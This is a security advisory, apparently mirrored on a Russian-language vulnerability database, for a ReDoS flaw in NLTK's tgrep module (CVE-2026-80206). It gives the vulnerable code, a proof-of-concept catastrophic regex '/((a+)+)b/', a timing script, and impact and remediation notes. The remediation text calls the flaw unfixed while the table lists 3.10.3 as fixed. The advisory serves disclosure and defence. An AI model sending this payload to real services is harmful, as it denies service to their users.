GHSA-w3v8-gmh9-3wv7

Опубликовано: 08 сент. 2026

Источник: github

Github: Прошло ревью

CVSS4: 8.2

Описание

NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions

Summary

The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code

nltk/tgrep.py — _tgrep_node_action() (around line 320)

When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:

def _tgrep_node_action(_s, _l, tokens): ... elif tokens[0].startswith("/"): assert tokens[0].endswith("/") node_lit = tokens[0][1:-1] return ( lambda r: lambda n, m=None, l=None: r.search( _tgrep_node_literal_value(n) ) )(re.compile(node_lit)) # User regex compiled and executed with no timeout

The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.

Proof of Concept

import nltk from nltk.tgrep import tgrep_positions # Root node label is 25 'a' characters. # tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a") # No 'b' is present — exponential backtracking occurs. tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))") tgrep_positions(r"/((a+)+)b/", [tree]) # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

import nltk from nltk.tgrep import tgrep_positions import time def test_n(n): tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))") pattern = r"/((a+)+)b/" start = time.perf_counter() list(tgrep_positions(pattern, [tree])) return time.perf_counter() - start if __name__ == "__main__": # Adjust the range if needed – these values complete quickly n_values = [18, 20, 22, 24, 26, 28] print(f"Testing n = {n_values}\n") times = [] for n in n_values: t = test_n(n) times.append((n, t)) print(f"n={n:2d} done", flush=True) print("\n--- Increase factors (per step in n) ---") factors = [] for i in range(1, len(times)): prev_n, prev_t = times[i-1] curr_n, curr_t = times[i] factor = curr_t / prev_t factors.append((curr_n, factor)) print(f"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})") avg = sum(f for _, f in factors) / len(factors) print(f"\nAverage factor: {avg:.2f}x") print("\n✅ Confirmed: exponential growth (catastrophic backtracking).") print(" Larger n (≥ 35) will hang indefinitely.")

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.

Impact

In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

Remediation

This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

Credit

Tool: Kira by Offgrid Security

Ссылки

Пакеты

Наименование

nltk

pip

Затронутые версииВерсия исправления

<= 3.10.2

3.10.3

EPSS

Процентиль: 18%

0.00264

Низкий

8.2 High

CVSS4

CVE ID

CVE-2026-80206

Дефекты

CWE-1333

Связанные уязвимости

CVE-2026-80206

CVSS3: 5.9

ubuntu

22 дня назад

NLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.